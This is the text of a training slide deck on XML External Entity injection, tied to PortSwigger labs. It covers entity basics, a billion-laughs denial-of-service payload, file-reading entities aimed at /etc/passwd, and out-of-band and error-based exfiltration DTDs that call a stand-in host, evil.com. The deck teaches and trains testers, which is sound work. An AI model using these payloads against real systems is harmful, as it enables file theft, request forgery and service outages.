# XML EXTERNAL ENTITY INJECTION

Tib3rius

## $ whoami

- Web App Penetration Tester (~10 years), currently working for White Oak Security
- Author of AutoRecon
- Author of Udemy courses on Privilege Escalation (useful for HTB boxes 😉)
- @0xTib3rius (Twitter)

WHITE OAK SECURITY

info@whiteoaksecurity.com
whiteoaksecurity.com
@WhiteOakSec

CONNECT

## XML

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  ...
]>
<root>
  <tag>value</tag>
  <tag attribute="value2">value3</tag>
</root>
```

```
dom.getDocumentElement().getNodeName(); // "root"
dom.getElementsByTagName("tag").item(0).getTextContent(); // "value"
dom.getElementsByTagName("tag").item(1).getAttributes().item(0).getTextContent(); // "value2"
```

## XXE Injection

XML External Entity Injection:

- Local File Inclusion
- Server-Side Request Forgery (inc. Remote File Inclusion)
- Blind Attacks (Data Exfiltration)
- Denial of Service
- Remote Command Execution (sometimes)

## What are Entities?

```
<root>
  <tag>I <3 XML!</tag>
</root>
```

```
<root>
  <tag>I &lt;3 XML!</tag>
</root>
```

```
I &lt;3 XML! → I <3 XML!
```

| Character | Entity |
|---|---|
| " | &quot; |
| & | &amp; |
| ' | &apos; |
| < | &lt; |
| > | &gt; |

https://www.w3.org/TR/1998/REC-xml-19980210#sec-predefined-ent

## Custom Entities

The XML spec allows for custom entities to be declared within a DOCTYPE definition (DTD).
(https://www.w3.org/TR/1998/REC-xml-19980210#sec-entity-decl)

**Internal Entities**
Entities which represent some data within the document, defined as a string.

**External Entities**
Entities which represent some data located outside of the document, defined as a URI.
Left up to the XML parser how a URI is processed to fetch the data.

Custom entities are only fully expanded when they are needed by the parser.

## Internal Entities

```
<!DOCTYPE foo [
  <!ENTITY bar "some string">
]>
<root>
  <tag>&bar;</tag>
</root>
```

```
&bar; → some string
```

## Recursive Entities

```
<!DOCTYPE foo [
  <!ENTITY bar "some string">
  <!ENTITY bar2 "This is &bar;">
]>
<root>
  <tag>&bar2;</tag>
</root>
```

```
&bar2; → This is some string
```

## Billion Laughs Attack

```
<!DOCTYPE lolz [
  <!ENTITY lol "lol ">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  ...
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

```
&lol9; → lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol
lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol lol
lol lol lol lol lol lol lol lol lol lol ... (1 billion lol’s = ~4GB of memory)
```

## External Entities

```
<!DOCTYPE foo [
  <!ENTITY bar SYSTEM "http://example.com/bar.txt">
]>
<root>
  <tag>&bar;</tag>
</root>

&bar; → ?
```

Since URI processing is left to the parser, there are any number of supported URI schemes which may be viable:

file:// ftp:// php://filter/ expect://

## Lab #1

**https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files**

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

## Parameter Entities

Parameter entities can only be referenced within a DTD.

They are created by adding a % before the name in the entity declaration.

Can be useful when regular entities are blocked.

```
<!DOCTYPE foo [
  <!ENTITY % bar SYSTEM "http://example.com"> %bar;
]>
<root>
  <tag>value</tag>
</root>
```

## Parameter Entities

Since parameter entities are declared and referenced within the DTD, they can be used to dynamically declare other parameter entities:

```
<!DOCTYPE foo [
  <!ENTITY % bar "<!ENTITY &#x25; bar2 SYSTEM 'http://example.com/'>">
  %bar;
  %bar2;
]>
<root>
  <tag>value</tag>
</root>
```

Only after bar is referenced does bar2 get declared and is referenceable in the DTD.

## External DTDs

A DTD with entity definitions can be hosted externally and then referenced in the XML document.

Host the following DTD at http://example.com/test.dtd:

```
<!ENTITY bar "some string">
```

Reference it in either of the following ways:

```
<!DOCTYPE external_dtd SYSTEM
"http://example.com/test.dtd">
<foo>&bar;</foo>
```

```
<!DOCTYPE foo [
  <!ENTITY % external_dtd SYSTEM
"http://example.com/test.dtd">
%external_dtd;
]>
<foo>&bar;</foo>
```

## Blind XXE: Out-Of-Band Exfiltration

Blind XXE occurs when the parsed entities aren't returned to the user. The URIs are still accessed however, and external DTDs can be used to exfiltrate data out-of-band.

http://evil.com/malicious.dtd:

```
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM
'http://evil.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Payload:

```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/malicious.dtd"> %xxe;]>
```

## Lab #2

**https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration**

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, exfiltrate the contents of the /etc/hostname file.

## Blind XXE: Triggering Parser Errors

A blind XXE can sometimes be “converted” into a non-blind XXE by intentionally triggering an error in the parser and manipulating it so the error message includes the data you want.

http://evil.com/malicious.dtd:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Payload:

```
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/malicious.dtd"> %xxe;]>
```

## Lab #3

**https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages**

This lab has a "Check stock" feature that parses XML input but does not display the result.

To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.

The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.